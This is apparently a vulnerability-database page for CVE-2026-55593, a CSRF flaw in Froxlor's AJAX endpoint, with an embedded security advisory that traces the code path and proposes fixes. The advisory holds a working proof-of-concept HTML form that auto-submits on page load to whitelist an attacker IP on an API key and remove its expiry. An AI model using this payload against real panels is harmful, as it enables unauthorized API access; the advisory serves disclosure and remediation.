CVE-2026-55593: Froxlor/froxlor Froxlor Has CSRF Vulnerability Vulnerability
MODERATECVE-2026-55593 is a MODERATE (CVSS 6.5) froxlor has csrf vulnerability vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has csrf vulnerability in ajax endpoint — missing cross-site request forgery protection. Remediation is available by upgrading affected packages to version 2.3.8.
CVE-2026-55593 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-55593
To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade froxlor/froxlor to 2.3.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for froxlor/froxlor
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55593, inspect your project dependencies for Froxlor/froxlor:
inspect dependencies for froxlor/froxlor
Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55593 Affected Froxlor/froxlor Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
froxlor/froxlor
|
Packagist |
< 2.3.8
|
2.3.8
|
References
Frequently Asked Questions
What is CVE-2026-55593?
Which Froxlor/froxlor versions are affected?
What version fixes CVE-2026-55593?
Is froxlor/froxlor affected?
What is the CVSS score of CVE-2026-55593?
What CWE is associated with CVE-2026-55593?
How can I check Packagist dependencies for CVE-2026-55593?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xpr4-8vp6-c87j",
"modified" : "2026-08-18T20:48:30Z",
"published" : "2026-08-18T20:48:30Z",
"aliases" : [ "CVE-2026-55593" ],
"summary" : "Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection",
"details" : "## Summary\n\nThe Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the `allowed_from` whitelist or extending the `valid_until` expiration).\n\n---\n\n## Affected Component\n\n- **File:** `lib/ajax.php` — the AJAX endpoint entry point (bypasses `lib/init.php`)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` — `Ajax::handle()` (no CSRF check before routing)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` — `Ajax::editApiKey()` (writes to database without CSRF check)\n- **Version:** Froxlor 2.3.7 (likely all prior 2.x versions)\n\n---\n\n## Complete Call Chain: Entry Point → Vulnerable Code\n\n### Step 1: Entry Point — `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`)\n\n```php\n// lib/ajax.php:26-47\nnamespace Froxlor;\n\nuse Froxlor\\Ajax\\Ajax;\n\nrequire_once dirname(__DIR__) . '/vendor/autoload.php';\nrequire_once dirname(__DIR__) . '/lib/userdata.inc.php';\nrequire_once dirname(__DIR__) . '/lib/functions.php';\nrequire_once dirname(__DIR__) . '/lib/tables.inc.php';\n\n// CRITICAL: This file does NOT include lib/init.php\n// Therefore: NO CSRF token is checked before processing the request\necho (new Ajax)->handle();\n```\n\n**Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do:\n```php\nconst AREA = 'admin';\nrequire __DIR__ . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369\n```\n\n### Step 2: Ajax Constructor — Session Created, No CSRF Check\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:54-61\npublic function __construct()\n{\n $this->action = Request::any('action'); // <-- User-controlled from GET/POST\n $this->theme = Request::any('theme', 'Froxlor');\n\n UI::sendHeaders(); // Starts session, sets security headers\n UI::sendSslHeaders(); // HSTS headers\n // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE\n}\n```\n\n### Step 3: Ajax::handle() — Session Validation Only, Routes to Action\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:66-92\npublic function handle()\n{\n $this->userinfo = $this->getValidatedSession(); // Only checks: isset($_SESSION['userinfo'])\n // MISSING: CSRF token validation before routing\n // Comparison: init.php lines 363-369 WOULD check here:\n // if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n // $current_token = Request::post('csrf_token', ...);\n // if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }\n // }\n\n switch ($this->action) {\n case 'editapikey':\n return $this->editApiKey(); // <-- State-changing operation, no CSRF guard\n case 'updatetablelisting':\n return $this->updateTablelisting(); // <-- Also POST, also no CSRF\n // ... other cases\n }\n}\n```\n\n### Step 4: getValidatedSession() — Only Checks Session Exists\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:97-103\nprivate function getValidatedSession(): array\n{\n if (CurrentUser::hasSession() == false) {\n throw new Exception(\"No valid session\");\n }\n return CurrentUser::getData();\n // hasSession() implementation (CurrentUser.php:47-50):\n // return !empty($_SESSION) && !empty($_SESSION['userinfo']);\n // This ONLY verifies a session exists.\n // It does NOT verify the request origin or CSRF token.\n}\n```\n\n### Step 5: editApiKey() — Database Mutation Without Origin Validation\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:257-315\nprivate function editApiKey()\n{\n // All three parameters come from attacker-controlled POST body:\n $keyid = Request::post('id', 0); // Source: $_POST['id']\n $allowed_from = Request::post('allowed_from', \"\"); // Source: $_POST['allowed_from']\n $valid_until = Request::post('valid_until', \"\"); // Source: $_POST['valid_until']\n\n // ... IP format validation (not security-relevant for CSRF) ...\n\n // SINK: Direct database mutation\n $upd_stmt = Database::prepare(\"\n UPDATE `api_keys` SET\n `valid_until` = :vu, `allowed_from` = :af\n WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid\n \");\n Database::pexecute($upd_stmt, [\n 'keyid' => $keyid,\n 'af' => $allowed_from, // Attacker's IP written here\n 'vu' => $valid_until_db, // -1 = never expires\n 'aid' => $this->userinfo['adminid'],\n 'cid' => $cid\n ]);\n return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);\n}\n```\n\n### Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage\n\n```javascript\n// templates/Froxlor/assets/js/jquery/apikeys.js:9-17\n// Even the legitimate frontend does NOT send a csrf_token:\n$.ajax({\n url: \"lib/ajax.php?action=editapikey\",\n type: \"POST\",\n dataType: \"json\",\n data: {\n id: akid,\n allowed_from: _this.val(),\n valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val()\n // NOTE: No csrf_token field here — the backend doesn't require it\n },\n // ...\n});\n```\n\nThis confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.\n\n---\n\n## CSRF Protection Gap: Side-by-Side Comparison\n\n| Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) |\n|--------|------------------------------|-------------------------------|\n| **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** — standalone bootstrap |\n| **Session validation** | ✅ `CurrentUser::hasSession()` | ✅ `CurrentUser::hasSession()` |\n| **CSRF token generation** | ✅ `Froxlor::genSessionId(20)` | ❌ Not generated |\n| **CSRF token check (POST/PUT/PATCH/DELETE)** | ✅ Lines 363-369 | **❌ Missing entirely** |\n| **Rate limiting** | ✅ `RateLimiter::run()` | ❌ Not called |\n| **Area enforcement** | ✅ Admin/Customer area check | ❌ Not enforced |\n\n---\n\n## Vulnerability Verification\n\n### Attack Path (Complete)\n\n```\n[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html\n\n <form id=\"csrf\" action=\"https://froxlor.example.com/lib/ajax.php?action=editapikey\"\n method=\"POST\">\n <input type=\"hidden\" name=\"id\" value=\"1\">\n <input type=\"hidden\" name=\"allowed_from\" value=\"ATTACKER_IP\">\n <input type=\"hidden\" name=\"valid_until\" value=\"-1\">\n </form>\n <script>document.getElementById('csrf').submit();</script>\n\n │\n ▼\n[Victim] Froxlor administrator browses to https://attacker.com/csrf.html\n - Victim has an active session at https://froxlor.example.com\n - Session cookie: PHPSESSID=<valid>, SameSite=Lax\n │\n ▼\n[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey\n - Cookie behavior depends on SameSite policy (see below)\n │\n ▼\n[Server: lib/ajax.php]\n → require userdata.inc.php, functions.php, tables.inc.php\n → (new Ajax)->handle()\n │\n ▼\n[Server: Ajax::__construct()] (Ajax.php:54-61)\n → $this->action = 'editapikey' (from GET query string)\n → UI::sendHeaders() → session_start()\n → NO CSRF CHECK\n │\n ▼\n[Server: Ajax::handle()] (Ajax.php:66-68)\n → getValidatedSession() → CurrentUser::hasSession() → TRUE\n (session cookie was sent with request)\n → NO CSRF CHECK before routing\n │\n ▼\n[Server: Ajax::editApiKey()] (Ajax.php:257-315)\n → $keyid = 1 (from POST)\n → $allowed_from = 'ATTACKER_IP' (from POST)\n → $valid_until_db = -1 (from POST, parsed)\n → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1\n │\n ▼\n[Impact] API key #1 now allows connections from ATTACKER_IP, never expires\n```\n\n### SameSite=Lax Analysis\n\nFroxlor sets session cookie with `SameSite=Lax` (UI.php:124):\n\n```php\n// lib/Froxlor/UI/Panel/UI.php:118-125\nsession_set_cookie_params([\n 'path' => '/',\n 'domain' => self::getCookieHost(),\n 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments\n 'httponly' => true,\n 'samesite' => 'Lax'\n]);\nsession_start();\n```\n\n**Why SameSite=Lax is NOT a complete mitigation:**\n\n1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.\n\n2. **Safari browser:** Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.\n\n3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.\n\n4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).\n\n### Confirmed Vulnerable Actions in Ajax::handle()\n\nAll POST-based actions in the switch statement lack CSRF protection:\n\n| Action | Method | State Change | Risk |\n|--------|--------|-------------|------|\n| `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** |\n| `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low |\n| `getConfigDetails` | POST | Read-only (config parsing) | None |\n\n---\n\n## Impact\n\n- **Confidentiality:** None — the attacker cannot directly read data through this CSRF vector\n- **Integrity:** Medium — API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).\n- **Availability:** Low — the attacker could set `valid_until` to a past timestamp, disabling the API key\n\n**Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker's IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.\n\n---\n\n## Proof of Concept\n\n### PoC HTML File\n\n```html\n<!-- csrf_poc.html -->\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>CSRF PoC - Froxlor AJAX Endpoint</title>\n</head>\n<body>\n <h1>Cross-Site Request Forgery Proof of Concept</h1>\n <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>\n <p>If you see this page, the form has auto-submitted.</p>\n\n <!-- This form auto-submits to modify API key properties -->\n <form id=\"csrf-form\"\n action=\"http://froxlor.example.com/lib/ajax.php?action=editapikey\"\n method=\"POST\">\n <input type=\"hidden\" name=\"id\" value=\"1\">\n <input type=\"hidden\" name=\"allowed_from\" value=\"10.99.99.99\">\n <input type=\"hidden\" name=\"valid_until\" value=\"\">\n <!-- empty valid_until = -1 (never expires) -->\n </form>\n\n <script>\n // Auto-submit on page load\n document.addEventListener('DOMContentLoaded', function() {\n document.getElementById('csrf-form').submit();\n });\n </script>\n</body>\n</html>\n```\n\n### Reproduction Steps\n\n1. **Setup:**\n - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`)\n - Create an administrator account and log in\n - Create at least one API key (Settings → API Keys)\n\n2. **Prepare PoC:**\n - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`)\n - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments)\n\n3. **Execute:**\n - Ensure the Froxlor administrator has an active session\n - Open the PoC HTML file in the **same browser** (different tab)\n - The form auto-submits\n\n4. **Verify:**\n - Check the API key in the Froxlor admin panel\n - The `allowed_from` field now contains `10.99.99.99`\n - The `valid_until` field shows no expiration\n - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;`\n\n### Expected Result\n\nBefore attack:\n```\nid | allowed_from | valid_until\n1 | | 1735689600\n```\n\nAfter attack:\n```\nid | allowed_from | valid_until\n1 | 10.99.99.99 | -1\n```\n\n---\n\n## Root Cause\n\nThe `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.\n\nArchitecturally, there are two security enforcement paths:\n1. **Normal pages:** `admin_*.php` → `require lib/init.php` → CSRF check ✅\n2. **AJAX endpoint:** `lib/ajax.php` → `new Ajax()->handle()` → CSRF check ❌\n\nThe `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one.\n\n---\n\n## Fix Recommendation\n\n### Option A (Recommended): Route AJAX Through init.php\n\nRefactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly:\n\n```php\n// lib/ajax.php — Refactored\nconst AREA = 'ajax';\nrequire __DIR__ . '/init.php';\n\nuse Froxlor\\Ajax\\Ajax;\n\ntry {\n echo (new Ajax)->handle();\n} catch (Exception $e) {\n header(\"Content-Type: application/json\");\n echo \\Froxlor\\Api\\Response::jsonErrorResponse($e->getMessage(), 500);\n}\n```\n\n**Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.\n**Cons:** Requires frontend changes to include CSRF token in AJAX requests.\n\n### Option B (Minimal): Add CSRF Check to Ajax Class\n\nAdd CSRF token validation directly in the `Ajax` class:\n\n```diff\n// lib/Froxlor/Ajax/Ajax.php\n\npublic function handle()\n{\n $this->userinfo = $this->getValidatedSession();\n\n+ // CSRF Protection — mirror init.php:363-369\n+ if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n+ $token_from_request = Request::post('csrf_token',\n+ $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);\n+ $stored_token = $this->userinfo['csrf_token'] ?? '';\n+ if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {\n+ return $this->errorResponse('CSRF validation failed', 403);\n+ }\n+ }\n\n switch ($this->action) {\n // ... existing cases unchanged\n }\n}\n```\n\n**Frontend changes required (for both options):**\n\n```diff\n// templates/Froxlor/assets/js/jquery/apikeys.js\n$.ajax({\n url: \"lib/ajax.php?action=editapikey\",\n type: \"POST\",\n dataType: \"json\",\n data: {\n id: akid,\n allowed_from: _this.val(),\n valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val(),\n+ csrf_token: $('meta[name=\"csrf-token\"]').attr('content')\n },\n // ...\n});\n```\n\n### CSRF Token Available in Twig Templates\n\nThe CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via:\n\n```html\n<meta name=\"csrf-token\" content=\"{{ csrf_token }}\">\n```\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "froxlor/froxlor"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.3.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/froxlor/froxlor"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-18T20:48:30Z",
"nvd_published_at" : null
}
}